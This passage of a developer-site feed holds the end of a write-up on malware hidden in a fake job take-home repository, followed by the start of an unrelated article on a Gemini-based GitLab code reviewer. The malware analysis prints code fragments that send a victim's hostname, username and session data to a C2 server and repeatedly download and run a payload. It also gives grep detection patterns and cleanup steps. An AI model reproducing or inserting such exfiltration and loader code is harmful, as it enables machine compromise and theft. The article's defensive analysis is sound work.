  &lt;span class="na"&gt;hid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;hostname&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;+&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;// who&lt;/span&gt;
  &lt;span class="na"&gt;ss&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;sessionData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;     &lt;span class="c1"&gt;// session context&lt;/span&gt;
  &lt;span class="na"&gt;cc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;  &lt;span class="c1"&gt;// what script was running&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;c2url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;form&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your machine identity is sent to the attacker's server. This likely serves as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Confirmation of successful infection&lt;/li&gt;
&lt;li&gt;Inventory for targeted follow-up attacks&lt;/li&gt;
&lt;li&gt;Filtering (don't waste effort on VMs/sandboxes)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Step 6, Persistence Loop
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;attempts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;retry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Date&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;downloadAndExecute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="nf"&gt;retry&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;interval&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;setInterval&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;attempts&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;attempts&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nf"&gt;retry&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="nf"&gt;clearInterval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;interval&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt; &lt;span class="mi"&gt;616000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// every ~10.3 minutes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Runs immediately on import, then retries twice more at 10-minute intervals. Three total attempts to ensure the payload lands even if the C2 server is temporarily unreachable.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Full Kill Chain
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://mermaid.live/edit#pako:eNqdlm-Pm0YQxr_KaE-KWtWHAWNsyMnV2T7f_14Ut0rTuorWMGAS2CXLco57ur7sB-hH7CfpALaPu_RFZF6Bmd8zz8zOLn5ggQyR-SxK5TpYcaXh5-lCAF2nvy_YyXK04UpAoenNSXc5Olmq7ugkGb2XJahSgF4h5Ep-xIBeJ6MF-wOOj0cwbtg3stCT-Ry68A6XOQ8-7SVuJA8L0DxJ14kIjUCKKImNjwUJNNnHtc6k0blbRmURcI0hVHYBv2BQaixeOioQQUi9SkS8dbMQjdyklps2cpYB802hMYMZRaLKVSJ0zWzlVuRb8Aw7UBaomru7eQd0loeJ2nuc1qJnjahtwMSGX97ewESKQqsy0IkUe8lxmaQaIiUzQFEVEcKYF-g68AP8eveW3vA4Q6GfOnBWq88a9R5Z1jxGsGAq1yKl9u2lFX4usdBGjBr-_fsfiApjrRKNsyTF-UYETYeqnKMuVdB9lerXqyQMUXygal7F-nU355tGso5q9W1WmzhvTDgGXNQcnNUL0K4vWCVp-IFGIcCiMKoFaqV9qBZZrgui0QfqDT62U1WJzutEF02i_q5a--tq50jDEsLWMUSogxU1s-7sxN7rXdR6l42ea8AUNa8DxzSGsZIlabxp3O6li5yvBWwth1vguV9arVIojHZTNy_VfXKPNMqoskTwFIJUFvhi-i5rM1eNmQGZ4ZpTDyMaCcWftXG3ljlNYL2YNFM0gveo2u38v_nUSUYgz_IOcBXff9Xgq9rD9cOCnWoa_VzDCfR-XLDHnclrCoD3VEoVd9N4HRrwjica_rJMoPKe77lav0B9Kaj4e55-51quaZpZ8f3L3DfN7mvl-UnWP902aaZSYHsv3_J0zRVCVKbpBhLaTjxNMXzR1UJvUoRToDam_pHDQxyaHdp58hP6R5br9ntOJ5CpVP6R2bfRctvYeItFy2VkO3vMsx3TxB3m9C1u9trYZIcNB9bAesI8a2ktnzCTm7yNTQ_Dzg7DZodh51sMI4euPTaIrNAKd1gURW3m4gDm8gDmasuEge3a7rcx14ct8c0e8-xe8ITxnmPZe6xnOeagjd1-o0PWYbFKQuZXx0qHZXRu8OqRPVRqC0Zf1AwXzKfbECNepnrBFuKRsJyL36TMdiSdYfGK-RFPC3oq85C-j9OEx4o_haAIUU3osNPMpxZUEsx_YF-Yb_U8w_Vsy_WGfdsdup7bYRvmH1t9z-j1PKtne7Y9cEzHfuywP-u0ltH3-kPPoRDPMx3T6jAMEy3VbfMXovmIs8f_AOYrnVk" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmermaid.ink%2Fimg%2Fpako%3AeNqdlm-Pm0YQxr_KaE-KWtWHAWNsyMnV2T7f_14Ut0rTuorWMGAS2CXLco57ur7sB-hH7CfpALaPu_RFZF6Bmd8zz8zOLn5ggQyR-SxK5TpYcaXh5-lCAF2nvy_YyXK04UpAoenNSXc5Olmq7ugkGb2XJahSgF4h5Ep-xIBeJ6MF-wOOj0cwbtg3stCT-Ry68A6XOQ8-7SVuJA8L0DxJ14kIjUCKKImNjwUJNNnHtc6k0blbRmURcI0hVHYBv2BQaixeOioQQUi9SkS8dbMQjdyklps2cpYB802hMYMZRaLKVSJ0zWzlVuRb8Aw7UBaomru7eQd0loeJ2nuc1qJnjahtwMSGX97ewESKQqsy0IkUe8lxmaQaIiUzQFEVEcKYF-g68AP8eveW3vA4Q6GfOnBWq88a9R5Z1jxGsGAq1yKl9u2lFX4usdBGjBr-_fsfiApjrRKNsyTF-UYETYeqnKMuVdB9lerXqyQMUXygal7F-nU355tGso5q9W1WmzhvTDgGXNQcnNUL0K4vWCVp-IFGIcCiMKoFaqV9qBZZrgui0QfqDT62U1WJzutEF02i_q5a--tq50jDEsLWMUSogxU1s-7sxN7rXdR6l42ea8AUNa8DxzSGsZIlabxp3O6li5yvBWwth1vguV9arVIojHZTNy_VfXKPNMqoskTwFIJUFvhi-i5rM1eNmQGZ4ZpTDyMaCcWftXG3ljlNYL2YNFM0gveo2u38v_nUSUYgz_IOcBXff9Xgq9rD9cOCnWoa_VzDCfR-XLDHnclrCoD3VEoVd9N4HRrwjica_rJMoPKe77lav0B9Kaj4e55-51quaZpZ8f3L3DfN7mvl-UnWP902aaZSYHsv3_J0zRVCVKbpBhLaTjxNMXzR1UJvUoRToDam_pHDQxyaHdp58hP6R5br9ntOJ5CpVP6R2bfRctvYeItFy2VkO3vMsx3TxB3m9C1u9trYZIcNB9bAesI8a2ktnzCTm7yNTQ_Dzg7DZodh51sMI4euPTaIrNAKd1gURW3m4gDm8gDmasuEge3a7rcx14ct8c0e8-xe8ITxnmPZe6xnOeagjd1-o0PWYbFKQuZXx0qHZXRu8OqRPVRqC0Zf1AwXzKfbECNepnrBFuKRsJyL36TMdiSdYfGK-RFPC3oq85C-j9OEx4o_haAIUU3osNPMpxZUEsx_YF-Yb_U8w_Vsy_WGfdsdup7bYRvmH1t9z-j1PKtne7Y9cEzHfuywP-u0ltH3-kPPoRDPMx3T6jAMEy3VbfMXovmIs8f_AOYrnVk%3Ftype%3Dpng" alt="" width="564" height="1889"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By the time your React app opens in the browser, the malware has already phoned home, dropped its payload, and started a hidden background process.&lt;/p&gt;




&lt;h2&gt;
  
  
  Red Flags I Almost Missed
&lt;/h2&gt;

&lt;p&gt;Looking back, the signals were there, but they're easy to overlook when you're focused on completing an assignment:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Suspicious npm dependencies
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"child_process"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^1.0.2"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"crypto"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^1.0.1"&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nl"&gt;"fs"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^0.0.1-security"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These are &lt;strong&gt;Node.js built-ins&lt;/strong&gt;. They should never appear as npm dependencies. The npm packages with these names are either stubs or historically flagged as supply-chain attack vectors. Listing them ensures they're resolvable by &lt;code&gt;require()&lt;/code&gt; in any environment.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The &lt;code&gt;request&lt;/code&gt; package
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"request"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"^2.88.2"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;request&lt;/code&gt; npm package has been &lt;strong&gt;deprecated since 2020&lt;/strong&gt;. A legitimate project in 2025+ would use &lt;code&gt;axios&lt;/code&gt; (which is already in the deps) or &lt;code&gt;node-fetch&lt;/code&gt;. The only reason &lt;code&gt;request&lt;/code&gt; is here is because the malware needs it, and its presence is hidden among 80+ other dependencies.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. The codebase is a crypto sniping bot
&lt;/h3&gt;

&lt;p&gt;The server contains fully functional &lt;strong&gt;front-running&lt;/strong&gt; and &lt;strong&gt;sniping&lt;/strong&gt; bots that monitor the Ethereum mempool and exploit other users' transactions. Private keys are accepted via unprotected HTTP endpoints and stored in plaintext SQLite. This isn't just a vehicle for malware, the entire platform is an exploit tool.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. One commit, one author
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="p"&gt;commit 70a3da95
Author: talent-labs &amp;lt;adfeca30@gmail.com&amp;gt;
Date:   Fri Jan 23 09:36:06 2026 +0900
&lt;/span&gt;    main/home-assignment
 438 files changed, 56441 insertions(+)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The entire codebase was committed in a single commit by &lt;code&gt;talent-labs &amp;lt;adfeca30@gmail.com&amp;gt;&lt;/code&gt;. No history. A throwaway email. No GitHub organization page, no company website that matches, no LinkedIn profiles of employees I could verify. The "company" existed just enough to send me a repo.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Protect Yourself
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Use Claude Code to Audit Before You Run
&lt;/h3&gt;

&lt;p&gt;As I showed earlier in this article, this is exactly how I caught the malware. Two prompts. A few minutes. No code executed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://claude.ai/claude-code" rel="noopener noreferrer"&gt;Claude Code&lt;/a&gt; reads every line of every file in the repo, including the parts hidden past column 1500 that your editor never renders. It doesn't get tired, it doesn't skim, and it doesn't assume config files are safe.&lt;/p&gt;

&lt;p&gt;If you're receiving repos from strangers, run them through Claude Code before you touch &lt;code&gt;yarn install&lt;/code&gt;. The two prompts I used:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Analyze the entire codebase to determine
whether it contains any malware or
scam-related behavior.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Focus on detecting:
- Dynamic code execution
- Remote payload downloads
- Obfuscated or intentionally hidden code
- Unexpected background process creation
- Unusual file or system access patterns
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's not a silver bullet, but it caught what my eyes, my editor, and &lt;code&gt;git diff&lt;/code&gt; all missed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Manual checks you should also do:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Scroll right.&lt;/strong&gt; Open every config file and scroll to the end of every line. Or run:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'length &amp;gt; 200'&lt;/span&gt; &lt;span class="k"&gt;**&lt;/span&gt;/&lt;span class="k"&gt;*&lt;/span&gt;.&lt;span class="o"&gt;{&lt;/span&gt;js,json,ts,jsx,tsx&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Search for obfuscation patterns:&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s1"&gt;'eval\|Function(\|atob\|fromCharCode\|\\x[0-9a-f]'&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
   &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s1"&gt;'child_process\|\.exec(\|\.spawn('&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
   &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s1"&gt;'Buffer\.from\|toString.*base64'&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Audit &lt;code&gt;package.json&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Look for &lt;code&gt;preinstall&lt;/code&gt;/&lt;code&gt;postinstall&lt;/code&gt; scripts&lt;/li&gt;
&lt;li&gt;Flag built-in Node modules listed as dependencies (&lt;code&gt;fs&lt;/code&gt;, &lt;code&gt;child_process&lt;/code&gt;, &lt;code&gt;crypto&lt;/code&gt;, &lt;code&gt;os&lt;/code&gt;, &lt;code&gt;path&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Question deprecated packages (&lt;code&gt;request&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use a VM or container.&lt;/strong&gt; Always. Run take-home assignments in a disposable environment. Docker, a throwaway VM, or at minimum a separate user account with no access to your crypto wallets, SSH keys, or cloud credentials.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Check line lengths in git:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;   git diff &lt;span class="nt"&gt;--stat&lt;/span&gt;  &lt;span class="c"&gt;# won't catch it&lt;/span&gt;
   git log &lt;span class="nt"&gt;-p&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'length &amp;gt; 500'&lt;/span&gt;  &lt;span class="c"&gt;# will&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Don't trust the file extension.&lt;/strong&gt; Malware was in &lt;code&gt;tailwind.config.js&lt;/code&gt;, a file you'd never think to audit. It could just as easily be in &lt;code&gt;postcss.config.js&lt;/code&gt;, &lt;code&gt;babel.config.js&lt;/code&gt;, &lt;code&gt;jest.config.js&lt;/code&gt;, &lt;code&gt;.eslintrc.js&lt;/code&gt;, or any config that gets &lt;code&gt;require()&lt;/code&gt;'d at build time.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  If you already ran it:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Check for orphaned Node processes:&lt;/strong&gt; &lt;code&gt;ps aux | grep node&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inspect your temp directory:&lt;/strong&gt; &lt;code&gt;ls -la $TMPDIR&lt;/code&gt; or &lt;code&gt;ls -la /tmp&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check for outbound connections:&lt;/strong&gt; &lt;code&gt;lsof -i -nP | grep node&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotate all credentials&lt;/strong&gt; that were accessible from your machine, SSH keys, API tokens, crypto wallets, browser sessions&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Assume compromise.&lt;/strong&gt; If you ran it on a machine with crypto wallets, move your assets immediately from a different device.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;I almost ran this. I was one &lt;code&gt;yarn start&lt;/code&gt; away from having my machine compromised, my SSH keys, my cloud credentials, my browser sessions, everything. The only reason I didn't is because the repo felt slightly too heavy for the task, and I decided to read before running.&lt;/p&gt;

&lt;p&gt;But let's be honest: most of the time, we don't read. We're excited about a job opportunity. The repo looks professional. The task is reasonable. We want to impress the recruiter by submitting quickly. And that's exactly when we run &lt;code&gt;yarn start&lt;/code&gt; without auditing 56,000 lines of code, including the 1500 invisible spaces hiding a backdoor in a Tailwind config.&lt;/p&gt;

&lt;p&gt;The crypto/Web3 job market has become a hunting ground for these attacks. But the technique isn't limited to crypto, any take-home assignment in any tech stack can carry this payload. A Django project could hide it in &lt;code&gt;settings.py&lt;/code&gt;. A Go project could hide it in &lt;code&gt;go generate&lt;/code&gt; directives. A Rust project could hide it in &lt;code&gt;build.rs&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;What changed my workflow after this: I now run every take-home assignment through &lt;a href="https://claude.ai/claude-code" rel="noopener noreferrer"&gt;Claude Code&lt;/a&gt; before I touch &lt;code&gt;yarn install&lt;/code&gt;. It takes two minutes and it reads every line, including the ones I can't see. It's not a silver bullet, but it caught what my eyes, my editor, and &lt;code&gt;git diff&lt;/code&gt; all missed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The rule is simple: if someone sends you code to run, treat it like someone handed you a USB drive in a parking lot.&lt;/strong&gt; Inspect it. Sandbox it. And never run it on a machine that has access to anything you care about.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If this helped you, share it with someone who's job hunting. One &lt;code&gt;yarn start&lt;/code&gt; is all it takes.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>javascript</category>
      <category>webdev</category>
      <category>career</category>
    </item>
    <item>
      <title>Building an AI Code Reviewer for GitLab CI with Google Gemini</title>
      <dc:creator>Deny Herianto</dc:creator>
      <pubDate>Wed, 04 Mar 2026 12:07:39 +0000</pubDate>
      <link>https://dev.to/denyherianto/building-an-ai-code-reviewer-for-gitlab-ci-with-google-gemini-1696</link>
      <guid>https://dev.to/denyherianto/building-an-ai-code-reviewer-for-gitlab-ci-with-google-gemini-1696</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/mlh-built-with-google-gemini-02-25-26"&gt;Built with Google Gemini: Writing Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built with Google Gemini
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Niteni&lt;/strong&gt;, Javanese for "to observe carefully", is an AI-powered code review tool for GitLab CI pipelines, powered by the Gemini REST API.&lt;/p&gt;

&lt;p&gt;GitLab's Free tier doesn't have a built-in AI review feature. I wanted something that would run inside a standard CI job, post &lt;strong&gt;inline diff comments&lt;/strong&gt; (not a wall of text), and provide one-click "Apply suggestion" buttons, all without pulling in any npm runtime dependencies.&lt;/p&gt;

&lt;p&gt;That last constraint was deliberate. CI environments are ephemeral. Every &lt;code&gt;npm install&lt;/code&gt; is wasted time and a potential failure point. So Niteni uses only Node.js built-ins: &lt;code&gt;https&lt;/code&gt;, &lt;code&gt;fs&lt;/code&gt;, &lt;code&gt;path&lt;/code&gt;, &lt;code&gt;os&lt;/code&gt;, and &lt;code&gt;url&lt;/code&gt;. Gemini does the heavy lifting via a direct REST call.&lt;/p&gt;

&lt;h3&gt;
  
  
  How Gemini fits in
&lt;/h3&gt;

&lt;p&gt;Niteni sends the full MR diff to Gemini and asks it to return a structured list of findings, each with a severity level (&lt;code&gt;CRITICAL&lt;/code&gt;, &lt;code&gt;HIGH&lt;/code&gt;, &lt;code&gt;MEDIUM&lt;/code&gt;, &lt;code&gt;LOW&lt;/code&gt;), file path, line number, description, and optional suggestion. Those findings get posted as inline GitLab discussion comments with suggestion blocks the reviewer can apply in one click.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;review&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;diffContent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ReviewResult&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;apiResult&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;reviewWithAPI&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;diffContent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;apiResult&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isValidStructuredReview&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;apiResult&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;apiResult&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Review failed: empty or malformed structured response.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A direct HTTP call to &lt;code&gt;generativelanguage.googleapis.com&lt;/code&gt;, no CLI, no extensions, no sandbox issues. Just an API key and a network connection.&lt;/p&gt;




&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;The tool runs as a GitLab CI job. After a push, it posts inline comments like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fycypdgan88ibhdwwix4i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fycypdgan88ibhdwwix4i.png" alt="Sample Review" width="800" height="391"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can try it yourself: &lt;a href="https://github.com/denyherianto/niteni" rel="noopener noreferrer"&gt;github.com/denyherianto/niteni&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Gemini CLI ≠ CI-friendly
&lt;/h3&gt;

